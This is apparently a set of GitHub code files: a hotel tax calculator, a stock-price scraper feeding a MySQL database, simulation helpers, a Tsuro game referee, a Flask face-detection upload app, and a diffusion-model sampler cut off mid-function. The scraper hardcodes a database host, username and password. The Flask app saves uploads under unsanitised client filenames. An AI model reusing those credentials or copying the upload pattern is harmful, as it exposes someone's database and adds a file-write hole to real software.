+{"seq_id":"13232357069","text":"#-----------------------------------------------------------------------\n# Author: Kyle Thomas\n# My python program for calculating taxes and room charges for a hotel\n# This program requires the Zelle Graphics Library which can be found at\n# http://mcsp.wartburg.edu/zelle/python/\n#-----------------------------------------------------------------------\n\n\nfrom graphics import Entry, Image, GraphWin, Point, Rectangle, Text\n\n\n# Tax Rates:\nTAX_RATE = 1.103 # 1 + 8.3% sales + 2% occupancy tax\nFLAT_TAX = 2 # $2 per night city/county tax\n\n\n# Purpose: To calculate the total charges after tax\n# Input: The room rate (float)\n# Output: The total after tax (float)\ndef calc_tax(rate):\n return rate * TAX_RATE + FLAT_TAX\n\n\n# Purpose: To calculate just the room charges without tax\n# Input: The number of nights (int) and the total charges (float)\n# Output: The total room charges (minus tax) (float)\ndef calc_rate(nights, total):\n return ((total / nights) - FLAT_TAX) / TAX_RATE\n\n\n# Purpose: To calculate the total tax paid\n# Input: The rate (float), the total and the number of nights (int)\n# Output: The tax paid (float)\ndef calc_diff(rate, total, nights):\n return total - (rate * nights)\n\n\n# Purpose: To determine whether a point is in a rectangle or not\n# Input: A rectangle and a point\n# Output: A True or False whether the point is in the rectangle or not\ndef is_pt_in_rect(rectangle, point):\n point1 = rectangle.getP1()\n point1X = point1.getX()\n point1Y = point1.getY()\n point2 = rectangle.getP2()\n point2X = point2.getX()\n point2Y = point2.getY()\n sideOneLength = abs(point1X - point2X)\n sideTwoLength = abs(point1Y - point2Y)\n pointXvalue = point.getX()\n pointYvalue = point.getY()\n\n if ((abs(point1X - pointXvalue) <= sideOneLength\n and abs(point2X - pointXvalue) <= sideOneLength)\n and (abs(point1Y - pointYvalue) <= sideTwoLength\n and abs(point2Y - pointYvalue) <= sideTwoLength)):\n\n inFlag = True\n\n else:\n inFlag = False\n\n return inFlag\n\n\ndef main():\n window = GraphWin(\"Tax Calculator\", 300, 350)\n window.setBackground(\"White\")\n\n banner = Text(Point(150, 20), \"Tax Calculator\")\n banner.setStyle(\"bold\")\n banner.setFace(\"courier\")\n banner.setSize(18)\n banner.draw(window)\n\n rateText = Text(Point(60,80), \"Rate:\")\n rateText.setFace(\"courier\")\n rateText.draw(window)\n\n rateBox = Entry(Point(200, 80), 7)\n rateBox.setFill(\"White\")\n rateBox.setText(\"0\")\n rateBox.draw(window)\n\n nightText = Text(Point(50, 140), \"Nights:\")\n nightText.setFace(\"courier\")\n nightText.draw(window)\n\n nightBox = Entry(Point(200, 140), 7)\n nightBox.setFill(\"White\")\n nightBox.setText(\"1\")\n nightBox.draw(window)\n\n totalText = Text(Point(56, 200), \"Total:\")\n totalText.setFace(\"courier\")\n totalText.draw(window)\n\n totalBox = Entry(Point(200, 200), 7)\n totalBox.setFill(\"White\")\n totalBox.setText(\"0\")\n totalBox.draw(window)\n\n calc = Image(Point(150, 310), \"button.png\")\n calc.draw(window)\n\n calcButton = Rectangle(Point(68,288), Point(232, 332))\n\n calcFlag = False # Flag of whether or not a calculation has been performed\n\n while True:\n errorFlag = False\n try:\n mouseClick = window.getMouse()\n\n except:\n window.close()\n break\n\n if (is_pt_in_rect(calcButton, mouseClick)):\n try:\n rate = float(rateBox.getText())\n nights = int(nightBox.getText())\n total = float(totalBox.getText())\n\n except: # Reset boxes and clear totals\n totalBox.setText(\"0\")\n nightBox.setText(\"1\")\n rateBox.setText(\"0\")\n if calcFlag:\n totalTax.undraw()\n nightlyTax.undraw()\n\n errorFlag = True\n\n # Make sure values are \"sane\"\n if ((not errorFlag) and (rate < 0 or nights < 1 or total < 0)):\n totalBox.setText(\"0\")\n nightBox.setText(\"1\")\n rateBox.setText(\"0\")\n if calcFlag:\n totalTax.undraw()\n nightlyTax.undraw()\n errorFlag = True\n\n if (not errorFlag):\n if (rate > 0):\n total = round(calc_tax(rate) * nights, 2)\n totalBox.setText(str(total))\n if calcFlag:\n totalTax.undraw()\n nightlyTax.undraw()\n\n nightlyTax = Text(Point(150, 245),\n \"Nightly Tax: \"\n + str(round(calc_tax(rate) - rate, 2)))\n\n nightlyTax.setFill(\"red\")\n nightlyTax.setFace(\"courier\")\n nightlyTax.draw(window)\n\n totalTax = Text(Point(150, 270),\n \"Total Tax: \"\n + str(round(\n calc_diff(rate, total, nights), 2)))\n\n totalTax.setFill(\"red\")\n totalTax.setFace(\"courier\")\n totalTax.draw(window)\n\n calcFlag = True\n\n elif (total > 0):\n rate = round(calc_rate(nights, total), 2)\n rateBox.setText(str(rate))\n if calcFlag:\n totalTax.undraw()\n nightlyTax.undraw()\n\n nightlyTax = Text(Point(150, 245),\n \"Nightly Tax: \"\n + str(round(calc_tax(rate) - rate, 2)))\n\n nightlyTax.setFill(\"red\")\n nightlyTax.setFace(\"courier\")\n nightlyTax.draw(window)\n\n totalTax = Text(Point(150, 270),\n \"Total Tax: \"\n + str(round(\n calc_diff(rate, total, nights), 2)))\n\n totalTax.setFill(\"red\")\n totalTax.setFace(\"courier\")\n totalTax.draw(window)\n\n calcFlag = True\n return\nmain()\n","repo_name":"kthomas422/Tax-Calculator","sub_path":"tax_calc.pyw","file_name":"tax_calc.pyw","file_ext":"pyw","file_size_in_byte":6261,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"32302019756","text":"from mysql.connector import Error\nimport pymysql\nfrom bs4 import BeautifulSoup\nfrom urllib.request import urlopen\nfrom datetime import datetime, date, timedelta\nfrom selenium import webdriver\nfrom selenium.webdriver.chrome.options import Options\nfrom selenium.common.exceptions import SessionNotCreatedException\nimport os\nimport calendar\nimport time\nimport sys\nfrom sys import platform\n\n\ndef get_all_tickers():\n try:\n connection_hosted = pymysql.connect(host='investmentport.c1xr79lgjc2q.us-east-1.rds.amazonaws.com',\n db='investment_portfolio',\n user='investPort',\n passwd='InvestPortPass')\n\n cursor = connection_hosted.cursor()\n sql_insert_query = \"\"\"SELECT ticker FROM all_securities\"\"\"\n\n cursor.execute(sql_insert_query)\n tickers = cursor.fetchall()\n all_tickers = []\n for i in tickers:\n all_tickers.append(i[0])\n cursor.close()\n connection_hosted.close()\n return all_tickers\n except Error as error:\n print(\"parameterized query failed {}\".format(error))\n\n\ndef get_all_s_and_p():\n url = 'https://en.wikipedia.org/wiki/List_of_S%26P_500_companies'\n page = urlopen(url)\n soup = BeautifulSoup(page, 'html.parser')\n table_body = soup.find('table', {'id': 'constituents'}).find('tbody')\n rows = table_body.find_all('tr')\n tickers = []\n for row in rows:\n cols = row.find_all('td')\n if len(cols) > 0:\n tickers.append(cols[0].text.replace('\\n', ''))\n return tickers\n\n\ndef manage_intraday_updates():\n all_s_p = get_all_s_and_p()\n for i in get_all_tickers():\n in_sp = i in all_s_p\n record_dt = datetime.today()\n change_dollar, change_percent, market_cap, current_price = get_intraday_data(i)\n replace_data(get_security_id(i), change_dollar, change_percent, market_cap, current_price, record_dt, in_sp)\n\n\ndef get_intraday_data(ticker):\n print(ticker)\n url = 'https://finance.yahoo.com/quote/' + ticker + '?p=' + ticker + '&.tsrc=fin-srch'\n page = urlopen(url)\n soup = BeautifulSoup(page, 'html.parser')\n changes = soup.find('span', {'data-reactid': '51'}).text.split(\" \")\n change_dollar = float(changes[0].replace(\"+\", \"\"))\n change_percent = float(changes[1].replace(\"(\", \"\").replace(\"%\", \"\").replace(\")\", \"\").replace(\"+\", \"\"))\n market_cap = calc_market_cap(soup.find('span', {'data-reactid': '139'}).text)\n current_price = float(soup.find('span', {'data-reactid': '50'}).text)\n return change_dollar, change_percent, market_cap, current_price\n\n\ndef calc_market_cap(mk_str):\n last_char = mk_str[-1]\n if last_char == 'T':\n val = float(mk_str[:-1]) * 1000000000000\n elif last_char == 'B':\n val = float(mk_str[:-1]) * 1000000000\n else:\n val = float(mk_str[:-1]) * 1000000\n return val\n\n\ndef replace_data(sec_id, change_dollar, change_percent, market_cap, current_price, record_dt, in_sp):\n try:\n connection_hosted = pymysql.connect(host='investmentport.c1xr79lgjc2q.us-east-1.rds.amazonaws.com',\n db='investment_portfolio',\n user='investPort',\n passwd='InvestPortPass')\n\n cursor = connection_hosted.cursor()\n sql_delete_query = \"\"\"DELETE FROM today_data WHERE sec_id = %s\"\"\"\n sql_insert_query = \"\"\"INSERT INTO today_data\n (sec_id, change_dollar, change_percent, market_cap, current_price, record_dt, in_s_p)\n VALUES (%s,%s,%s,%s,%s,%s,%s)\"\"\"\n cursor.execute(sql_delete_query, sec_id)\n cursor.executemany(sql_insert_query, [(sec_id, change_dollar, change_percent, market_cap, current_price,\n record_dt, in_sp)])\n connection_hosted.commit()\n print(\"Data inserted successfully table\")\n cursor.close()\n connection_hosted.close()\n print(\"MySQL connection is closed\")\n except Error as error:\n print(\"parameterized query failed {}\".format(error))\n\n\ndef manage_updates():\n for i in get_all_tickers():\n print(i)\n dates, prices = get_historic_data(i, datetime.today().timestamp(),\n get_most_recent_dt(get_security_id(i)))\n add_historic_price(get_security_id(i), prices, dates)\n\n\ndef get_most_recent_dt(sec_id):\n try:\n connection_hosted = pymysql.connect(host='investmentport.c1xr79lgjc2q.us-east-1.rds.amazonaws.com',\n db='investment_portfolio',\n user='investPort',\n passwd='InvestPortPass')\n\n cursor = connection_hosted.cursor()\n sql_insert_query = \"\"\"SELECT DISTINCT record_dt FROM historic_data\n WHERE sec_id = %s\"\"\"\n\n cursor.executemany(sql_insert_query, (sec_id,))\n try:\n data = cursor.fetchall()\n most_recent = (max(data) + timedelta(days=1)).timestamp()\n except TypeError:\n most_recent = datetime(2000, 1, 1, 0, 0).timestamp()\n cursor.close()\n connection_hosted.close()\n return most_recent\n except Error as error:\n print(\"parameterized query failed {}\".format(error))\n finally:\n print(\"MySQL connection is closed\")\n\n\ndef get_historic_data(ticker, end_dt, begin_dt=datetime(1980, 1, 1, 0, 0).timestamp()):\n dates = []\n close_prices = []\n try:\n if platform == \"linux\":\n chromedriver = os.path.join(sys.path[0], 'chromedriver/chromedriver 2 linux')\n elif platform == \"darwin\":\n chromedriver = os.path.join(sys.path[0], 'chromedriver/chromedriver 3')\n else:\n chromedriver = os.path.join(sys.path[0], 'chromedriver/chromedriver.exe')\n os.environ[\"webdriver.chrome.driver\"] = chromedriver\n options = Options()\n options.headless = True\n driver = webdriver.Chrome(executable_path=chromedriver, options=options)\n url = 'https://finance.yahoo.com/quote/' + ticker + '/history?period1=' + str(int(begin_dt)) + '&period2=' + \\\n str(int(end_dt)) + '&interval=1d&filter=history&frequency=1d'\n num_scrolls = int((end_dt-begin_dt)/(86400*50))\n driver.get(url)\n except SessionNotCreatedException:\n if platform == \"linux\":\n chromedriver = os.path.join(sys.path[0], 'chromedriver/chromedriver linux 85')\n elif platform == \"darwin\":\n chromedriver = os.path.join(sys.path[0], 'chromedriver/chromedriver mac 85')\n else:\n chromedriver = os.path.join(sys.path[0], 'chromedriver/chromedriver win 85.exe')\n os.environ[\"webdriver.chrome.driver\"] = chromedriver\n options = Options()\n options.headless = True\n driver = webdriver.Chrome(executable_path=chromedriver, options=options)\n url = 'https://finance.yahoo.com/quote/' + ticker + '/history?period1=' + str(int(begin_dt)) + '&period2=' + \\\n str(int(end_dt)) + '&interval=1d&filter=history&frequency=1d'\n num_scrolls = int((end_dt-begin_dt)/(86400*50))\n driver.get(url)\n time.sleep(1)\n for i in range(0, num_scrolls):\n driver.execute_script(\"window.scrollTo(1,1000000)\")\n time.sleep(.05)\n soup = BeautifulSoup(driver.page_source, 'html.parser')\n table_body = soup.find('table', {'class': 'W(100%) M(0)'}).find('tbody')\n rows = table_body.find_all('tr')\n for row in rows:\n cols = row.find_all('td')\n if len(cols) > 2 and cols[4].text != '-':\n cur_date = cols[0].text.replace(',', '').split(' ')\n dates.append(date(int(cur_date[2]), list(calendar.month_abbr).index(cur_date[0]), int(cur_date[1])))\n close_prices.append(cols[4].text.replace(',', ''))\n driver.close()\n return dates, close_prices\n\n\ndef add_historic_price(sec_id, prices, dates):\n try:\n connection_hosted = pymysql.connect(host='investmentport.c1xr79lgjc2q.us-east-1.rds.amazonaws.com',\n db='investment_portfolio',\n user='investPort',\n passwd='InvestPortPass')\n\n cursor = connection_hosted.cursor()\n records_to_insert = []\n for i in range(0, len(prices)):\n records_to_insert.append((sec_id, dates[i], prices[i]))\n sql_insert_query = \"\"\"INSERT INTO historic_data\n (sec_id, record_dt, close_price) VALUES (%s,%s,%s)\"\"\"\n\n cursor.executemany(sql_insert_query, records_to_insert)\n connection_hosted.commit()\n print(\"Data inserted successfully table\")\n\n except Error as error:\n print(\"parameterized query failed {}\".format(error))\n finally:\n cursor.close()\n connection_hosted.close()\n print(\"MySQL connection is closed\")\n\n\ndef get_security_id(ticker):\n try:\n connection_hosted = pymysql.connect(host='investmentport.c1xr79lgjc2q.us-east-1.rds.amazonaws.com',\n db='investment_portfolio',\n user='investPort',\n passwd='InvestPortPass')\n\n cursor = connection_hosted.cursor()\n sql_insert_query = \"\"\"SELECT sec_id FROM all_securities\n WHERE ticker = %s\"\"\"\n\n cursor.execute(sql_insert_query, (ticker,))\n try:\n sec_id = cursor.fetchone()[0]\n except TypeError:\n sec_id = None\n except Error as error:\n print(\"parameterized query failed {}\".format(error))\n finally:\n cursor.close()\n connection_hosted.close()\n return sec_id\n","repo_name":"mactaggart-t/InvestmentPortfolio","sub_path":"flask-backend/sql/update_data.py","file_name":"update_data.py","file_ext":"py","file_size_in_byte":9945,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"}
+{"seq_id":"70781756747","text":"import numpy as np\r\nimport h5py\r\nimport os\r\n\r\ndef setupTime(tStart,tEnd,dt):\r\n\t\r\n\tN = int((tEnd-tStart)/dt+1)\r\n\ttime,dt = np.linspace(tStart,tEnd,N,retstep=True)\r\n\t\r\n\treturn time,dt,N\r\n\r\ndef limit(var,varLimit):\r\n\t# apply varLimit to each index of var \r\n\t# where the magnitude of var exceeds the limit\r\n\t\r\n\tkLimit = abs(var) > varLimit\r\n\tvar[kLimit] = np.sign(var[kLimit]) * varLimit\r\n\treturn var\r\n\r\n# 4th Order Runge Kutta Calculation\r\ndef RK4(f,x,u,dt):\r\n # Inputs: x[k], u[k], dt (time step, seconds)\r\n # Returns: x[k+1]\r\n \r\n # Calculate slope estimates\r\n K1 = f(x, u)\r\n K2 = f(x + K1 * dt / 2, u)\r\n K3 = f(x + K2 * dt / 2, u)\r\n K4 = f(x + K3 * dt, u)\r\n \r\n # Calculate x[k+1] estimate using combination of slope estimates\r\n x_next = x + 1/6 * (K1 + 2*K2 + 2*K3 + K4) * dt\r\n \r\n return x_next,K1\r\n\t\r\ndef saveData(filename,myData):\r\n\t# get full path for filename\r\n\tsavePath = os.path.dirname(os.path.realpath(__file__))\r\n\tfilepath = f'{savePath}\\{filename}'\r\n\t\r\n\tprint(\"Saving to...\")\r\n\tprint(f\"\\t{filepath}\")\r\n\twith h5py.File(filepath,'w') as myFile:\r\n\t\tdList = []\r\n\t\tfor myKey in myData.keys():\r\n\t\t\tdList.append(myFile.create_dataset(myKey,data=myData[myKey]))\r\n\tprint('Done')\r\n\t\t\r\n\t\r\n\r\n","repo_name":"astroHaoPeng/rotational-dynamics","sub_path":"python/simulation.py","file_name":"simulation.py","file_ext":"py","file_size_in_byte":1228,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"71228550987","text":"\"\"\"\nHolds a Tsuro referee capable of running a single game of Tsuro.\n\"\"\"\nfrom copy import deepcopy\nfrom typing import Dict, Iterator, List, Optional, Set\n\nfrom Common.board import Board\nfrom Common.color import AllColors, ColorString\nfrom Common.moves import InitialMove, IntermediateMove\nfrom Common.player_interface import PlayerInterface\nfrom Common.result import Result, error, ok\nfrom Common.rules import RuleChecker\nfrom Common.tiles import Tile, load_tiles_from_json\nfrom Common.tsuro_types import GameResult\nfrom Common.util import silenced_object, timeout\nfrom Common.validation import validate_types\nfrom Admin.game_observer import RefereeObserver\n\nTIMEOUT = 3\n\ndef deterministic_tile_iterator() -> Iterator[Tile]:\n \"\"\"\n A simple deterministic infinite tile iterator that yields tiles in order by their\n TileIndex.\n\n :return: An iterator of tiles\n \"\"\"\n while True:\n for _, tile in load_tiles_from_json():\n yield tile\n\n\nclass Referee:\n \"\"\"\n Represents the referee for a game of Tsuro. Runs a full game with the specified players. A instance of the\n Referee class can only be used for a single game and cannot be reused.\n\n In the event of abnormal conditions, the referee will handle them in the following ways:\n - Player cheats -> Player is eliminated from the game\n - Player raises exception -> Player is eliminated from the game\n - Player returns an error -> Player is eliminated from the game\n - Player takes too long -> Not currently handled\n \"\"\"\n\n _players: Dict[ColorString, PlayerInterface]\n _rule_checker: Optional[RuleChecker]\n _tile_iterator: Optional[Iterator[Tile]]\n _cheaters: Set[ColorString]\n _leaderboard: List[Set[ColorString]]\n _observers: List[RefereeObserver]\n\n def __init__(self) -> None:\n \"\"\"\n Create a new Referee.\n \"\"\"\n self._players = {}\n self._rule_checker = None\n self._tile_iterator = None\n self._leaderboard = []\n self._cheaters: Set[ColorString] = set()\n self._observers = []\n\n @validate_types\n def add_observer(self, observer: RefereeObserver):\n self._observers.append(observer)\n\n @validate_types\n def set_players(self, players: List[PlayerInterface]) -> Result[List[ColorString]]:\n \"\"\"\n Add the given players (ordered by age, decreasing) to the game. Ties for age can be represented in either order.\n Returns an error if `len(players)` is greater than 5 or less than 3, or if the method has already been called.\n\n :param players: Players for this referee to use in a game. Allows only 3-5 players.\n :return: The list of colors that will be assigned to those players.\n \"\"\"\n if self._players:\n return error(\"players have already been set for this game.\")\n if len(players) < 3 or len(players) > 5:\n return error(f\"there must be between 3 and 5 players, not {len(players)}.\")\n if len(set(players)) != len(players):\n return error(\n f\"the given set of players contains duplicates (or players that do not \"\n f\"implement __hash__, __eq__)\"\n )\n\n assigned_colors = AllColors[: len(players)]\n \n self._players = {\n color: silenced_object(player)\n for color, player in zip(assigned_colors, players)\n }\n \n for observer in self._observers:\n observer.players_added(assigned_colors)\n return ok(assigned_colors)\n\n @validate_types\n def set_rule_checker(self, rule_checker: RuleChecker) -> None:\n \"\"\"\n Set the rule checker to be used by this referee. Must be called prior to calling run_game().\n\n :param rule_checker: The rule checker that the referee should use.\n \"\"\"\n self._rule_checker = rule_checker\n\n @validate_types\n def set_tile_iterator(self, tile_iterator: Iterator[Tile]) -> None:\n \"\"\"\n Set the iterator of tiles to be used by this referee. Must be infinite and only be used by this referee.\n\n :param tile_iterator: The infinite tile iterator to be used by this referee.\n \"\"\"\n self._tile_iterator = tile_iterator\n\n def run_game(self) -> Result[GameResult]:\n \"\"\"\n Run an entire game of Tsuro with the players that have been added to this referee. Returns the result\n of the game.\n\n A list of players, a rule checker, and a tile iterator must have already been set on this referee\n prior to calling run_game.\n\n :return: The GameResult at the end of the game, or an error if something goes wrong.\n \"\"\"\n if not self._players:\n return error(\"must add players to this referee\")\n if not self._rule_checker:\n return error(\"must add a rule checker to this referee\")\n if not self._tile_iterator:\n return error(\"must add a tile iterator to this referee\")\n\n self._initialize_players()\n board = Board()\n\n # Run the initial turns\n r = self._run_game_initial_turns(board)\n if r.is_error():\n return error(r.error())\n\n # Run the intermediate turns\n while True:\n if len(board.live_players) <= 1:\n break\n\n r = self._run_game_single_round(board)\n if r.is_error():\n return error(r.error())\n\n return self._generate_game_result(board)\n\n def _initialize_players(self) -> None:\n \"\"\"\n Initialize the players contained within this referee according to the player interface\n \"\"\"\n assert self._rule_checker\n for color, player in self._players.items():\n self._handle_player_timeout(color, lambda: player.set_color(color))\n self._handle_player_timeout(color, lambda: player.set_players(list(set(self._players.keys()) - {color})))\n\n def _generate_game_result(self, board: Board) -> Result[GameResult]:\n \"\"\"\n Generate a GameResult once a game of Tsuro is complete based off of the data in self.cheaters,\n self.players_eliminated_in_round, and board. Must only be called once the game is over and 0 or 1\n players remain on the board.\n\n :param board: The board at the end of the game\n :return: The game result which contains a leaderboard and a list of cheaters\n \"\"\"\n # Add the last man standing to the list of eliminated players\n self._leaderboard.append(set(board.live_players.keys()))\n leaderboard = [x for x in reversed(self._leaderboard) if x]\n\n # Return the leaderboard and the cheaters and notify observers\n results = deepcopy((leaderboard, self._cheaters))\n for observer in self._observers:\n observer.game_result(results)\n return ok(results)\n\n def _remove_cheaters(self, board: Board) -> None:\n \"\"\"\n Remove anyone in self.cheaters from the list of players and from the list of currently live players\n\n :param board: The board to remove players from\n \"\"\"\n for player in self._cheaters:\n if player in self._players:\n del self._players[player]\n if player in board.live_players:\n board.remove_player(player)\n for observer in self._observers:\n observer.cheater_removed(player, board.get_board_state())\n\n def _get_tiles(self, num_tiles: int) -> List[Tile]:\n \"\"\"\n Get N tiles from the internal tile iterator\n :param num_tiles: The number of tiles\n :return: A list of retrieved tiles\n \"\"\"\n if self._tile_iterator is None:\n raise ValueError(\n \"Cannot call _get_tiles(n) prior to setting the tile iterator!\"\n )\n\n return [next(self._tile_iterator) for _ in range(num_tiles)]\n \n def _confirm_all_components(self) -> Result[None]:\n \"\"\"\n Checks that all components required for the referee to run (players, rules, tile iterator) exist\n \"\"\"\n if not self._players:\n return error(\"must add players to this referee\")\n if not self._rule_checker:\n return error(\"must add a rule checker to this referee\")\n if not self._tile_iterator:\n return error(\"must add a tile iterator to this referee\")\n return ok(None)\n\n def _run_game_initial_turns(self, board: Board) -> Result[None]:\n \"\"\"\n Run the first step of a Tsuro game: prompting every player for their initial move. Apply the\n changes to this board to the fields contained within this referee.\n\n :param board: The board to run the game on\n :return: A result containing either None or an error\n \"\"\"\n r_components = self._confirm_all_components()\n if r_components.is_error(): return r_components\n\n for color, player in self._players.items():\n tiles = self._get_tiles(3)\n for observer in self._observers:\n observer.initial_move_offered(color, tiles, board.get_board_state())\n\n r_initial_move = self._get_check_initial_move(board, color, player, tiles)\n if r_initial_move.is_error(): continue\n \n r = board.initial_move(r_initial_move.value())\n if r.is_error():\n return error(r.error())\n\n self._remove_cheaters(board)\n return ok(None)\n\n def _get_check_initial_move(\n self, board: Board, color: ColorString, player: PlayerInterface, tiles: List[Tile]\n ) -> Result[InitialMove]:\n \"\"\"\n Gets the initial move from the player and checks whether it is valid based on the rulechecker. If any errors, the player is added as a cheater.\n Returns an error if cheating, or the chosen move if it is valid\n \"\"\"\n r_initial_move = self._handle_player_timeout(color, lambda: player.generate_first_move(deepcopy(tiles), board.get_board_state()))\n if r_initial_move.is_error():\n self._cheaters.add(color)\n return error(r_initial_move.error())\n\n pos, tile, port = r_initial_move.value()\n initial_move = InitialMove(pos, tile, port, color)\n\n for observer in self._observers:\n observer.initial_move_played(color, tiles, board.get_board_state(), initial_move)\n\n r_rule = self._rule_checker.validate_initial_move(board.get_board_state(), tiles, initial_move)\n if r_rule.is_error():\n self._cheaters.add(color)\n return error(r_initial_move.error())\n\n return ok(initial_move)\n\n def _run_game_single_round(self, board: Board) -> Result[None]:\n \"\"\"\n Run the second step of a Tsuro game: prompting every player for an intermediate move. Apply the\n changes to this board to the fields contained within this referee.\n\n :param board: The board to run the game on\n :return: A result containing either None or an error\n \"\"\"\n r_components = self._confirm_all_components()\n if r_components.is_error(): return r_components\n\n alive_at_start_of_round = set(board.live_players.keys())\n for color, player in list(self._players.items()):\n if color not in board.live_players.keys():\n # They were killed by someone else so continue\n continue\n\n tiles = self._get_tiles(2)\n for observer in self._observers:\n observer.intermediate_move_offered(color, tiles, board.get_board_state())\n\n r_intermediate_move = self._get_check_intermediate_move(color, board, tiles, player)\n if r_intermediate_move.is_error(): continue\n\n r = board.intermediate_move(r_intermediate_move.value())\n if r.is_error():\n return error(r.error())\n\n alive_at_end_of_round = set(board.live_players.keys())\n self._leaderboard.append(set())\n self._handle_players_lost_in_round(board, alive_at_start_of_round, alive_at_end_of_round)\n \n return ok(None)\n\n def _handle_players_lost_in_round(\n self, board: Board, alive_at_start_of_round: Set, alive_at_end_of_round: Set\n ):\n \"\"\"\n Removes all players who died during a round from the game and adds them to the leaderboard.\n \"\"\"\n for killed_player in (alive_at_start_of_round - alive_at_end_of_round - self._cheaters):\n self._leaderboard[-1].add(killed_player)\n del self._players[killed_player]\n \n for observer in self._observers:\n observer.player_eliminated(killed_player, board.get_board_state())\n\n self._remove_cheaters(board)\n\n def _get_check_intermediate_move(\n self, color:ColorString, board: Board, tiles: List[Tile], player: PlayerInterface\n ) -> Result[IntermediateMove]:\n \"\"\"\n Gets the intermediate move from the player and checks whether it is valid based on the rulechecker. If any errors, the player is added as a cheater.\n Returns an error if cheating, or the chosen move if it is valid\n \"\"\"\n r_move = self._handle_player_timeout(color, lambda: player.generate_move(deepcopy(tiles), board.get_board_state()))\n if r_move.is_error():\n self._cheaters.add(color)\n return error(r_move.error())\n\n intermediate_move = IntermediateMove(r_move.value(), color)\n r_rule = self._rule_checker.validate_move(board.get_board_state(), tiles, intermediate_move)\n\n for observer in self._observers:\n observer.intermediate_move_played(color, tiles, board.get_board_state(), intermediate_move, r_rule.is_ok())\n\n if r_rule.is_error():\n self._cheaters.add(color)\n return error(r_rule.error())\n\n return ok(intermediate_move)\n\n def _handle_player_timeout(self, color, func):\n \"\"\"\n Calls the method on a player with a timeout. Returns the same value\n as the given function if the function takes less than three seconds\n to run. Otherwise, the player took too long to play, and is added\n to the list of cheaters.\n \"\"\"\n try:\n with timeout(TIMEOUT):\n return func()\n except:\n self._cheaters.add(color)\n","repo_name":"feliciazhang/tsuro","sub_path":"Admin/referee.py","file_name":"referee.py","file_ext":"py","file_size_in_byte":14373,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"2155636465","text":"from flask import Flask, request\nfrom flask.templating import render_template\nfrom .models.processing import process_image, process_video\n\nimport shutil\nimport warnings\nwarnings.filterwarnings(action='ignore')\n\napp = Flask(__name__)\napp.debug = True\n\n### Main page ###\n@app.route('/')\ndef index():\n return render_template('index.html')\n\n### Face detection ###\n@app.route('/face_detect_get')\ndef face_detect_get():\n return render_template('face_detect_get.html')\n\n@app.route('/face_detect_post', methods=['GET', 'POST'])\ndef face_detect_post():\n if request.method == 'POST':\n face_image = request.files['face_img']\n face_image.save('./front/static/input/'+ str(face_image.filename))\n face_image_path = './front/static/input/' + str(face_image.filename)\n\n known_face_encoding = process_image(face_image_path)\n\n video_file = request.files['object_file']\n video_file.save('./front/static/input/' + str(video_file.filename))\n video_file_path = '/front/static/input/' + str(video_file.filename)\n\n fin_video = process_video(video_path=video_file_path, known_face=known_face_encoding)\n shutil.copy(fin_video, './front/static/output.mp4')\n\n return render_template('face_detect_post.html' , detected=fin_video)\n","repo_name":"jaehwan-AI/video_editer","sub_path":"front/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1276,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"31463694707","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom diffusion_base import Diffusion\nfrom utils import ConditionalEmbedding\nimport numpy as np\n\n\nclass GaussianDiffusionTrainer(Diffusion):\n def __init__(self, model, config):\n super().__init__(config)\n\n self.model = model\n self.config = config\n # reggister buffer\n # calculations for diffusion q(x_t | x_{t-1}) and others\n self.register_buffer(\n 'sqrt_alphas_bar', self.sqrt_alphas_bar_)\n self.register_buffer(\n 'sqrt_one_minus_alphas_bar', self.sqrt_one_minus_alphas_bar_)\n\n\n def forward(self, x_0, cemb):\n \"\"\"\n Algorithm 1. with label embedding\n \"\"\"\n \n\n # x_0.shape = [batch_size, channels, height, width]\n # select a batch of timesteps\n t = torch.randint(self.T, size=(x_0.shape[0], ), device=x_0.device)\n noise = torch.randn_like(x_0)\n x_t = (\n self.extract(self.sqrt_alphas_bar, t, x_0.shape) * x_0 +\n self.extract(self.sqrt_one_minus_alphas_bar, t, x_0.shape) * noise) \n loss = F.mse_loss(self.model(x_t, t, cemb), noise, reduction='none')\n return loss\n\n\nclass DDPM_Sampler(Diffusion):\n def __init__(self, model, config):\n \n super().__init__(config)\n\n self.model = model\n self.w = config.evaluate.w\n\n self.register_buffer('betas', self.betas_)\n\n # calculations for diffusion q(x_t | x_{t-1}) and others\n self.register_buffer(\n 'sqrt_recip_alphas_bar', self.sqrt_recip_alphas_bar_)\n self.register_buffer(\n 'sqrt_recipm1_alphas_bar', self.sqrt_recipm1_alphas_bar_)\n \n # calculations for posterior q(x_{t-1} | x_t, x_0)\n self.register_buffer(\n 'posterior_var',\n self.betas_ * (1. - self.alphas_bar_prev_) / (1. - self.alphas_bar_))\n \n # below: log calculation clipped because the posterior variance is 0 at\n # the beginning of the diffusion chain\n self.register_buffer(\n 'posterior_log_var_clipped',\n torch.log(\n torch.cat([self.posterior_var[1:2], self.posterior_var[1:]]))) # replace the first element with the second element\n \n self.register_buffer(\n 'posterior_mean_coef1',\n torch.sqrt(self.alphas_bar_prev_) * self.betas_ / (1. - self.alphas_bar_))\n self.register_buffer(\n 'posterior_mean_coef2',\n torch.sqrt(self.alphas_) * (1. - self.alphas_bar_prev_) / (1. - self.alphas_bar_))\n \n def predict_x0_from_eps(self, x_t, t, eps):\n assert x_t.shape == eps.shape\n return (\n self.extract(self.sqrt_recip_alphas_bar, t, x_t.shape) * x_t -\n self.extract(self.sqrt_recipm1_alphas_bar, t, x_t.shape) * eps\n )\n\n def q_mean_variance(self, x_0, x_t, t):\n \"\"\"\n Compute the mean and variance of the diffusion posterior\n q(x_{t-1} | x_t, x_0)\n \"\"\"\n assert x_0.shape == x_t.shape\n posterior_mean = (\n self.extract(self.posterior_mean_coef1, t, x_t.shape) * x_0 +\n self.extract(self.posterior_mean_coef2, t, x_t.shape) * x_t\n )\n posterior_log_var_clipped = self.extract(self.posterior_log_var_clipped, t, x_t.shape)\n return posterior_mean, posterior_log_var_clipped\n\n \n def p_sample(self, x_t, t, cemb): # p_theta(x_{t-1} | 